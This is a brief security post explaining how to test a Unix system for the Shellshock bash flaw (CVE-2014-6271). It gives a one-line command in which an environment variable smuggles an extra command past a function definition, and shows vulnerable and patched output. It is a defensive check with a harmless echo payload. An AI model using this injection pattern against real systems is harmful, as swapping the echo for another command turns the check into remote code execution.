Testing Shellshock Bug In BASH – CVE-2014-6271 (Exploit 1)

To test for the vulnerability on your *nix systems just issue the following command as any user (doesn’t have to be root):

env testbug='() { :;}; echo VULNERABLE' bash -c "echo completed"

If you see this:

VULNERABLE
completed

It’s vulnerable, if it’s fixed or not vulnerable you should see this:

bash: warning: testbug: ignoring function definition attempt
bash: error importing function definition for `testbug'
completed
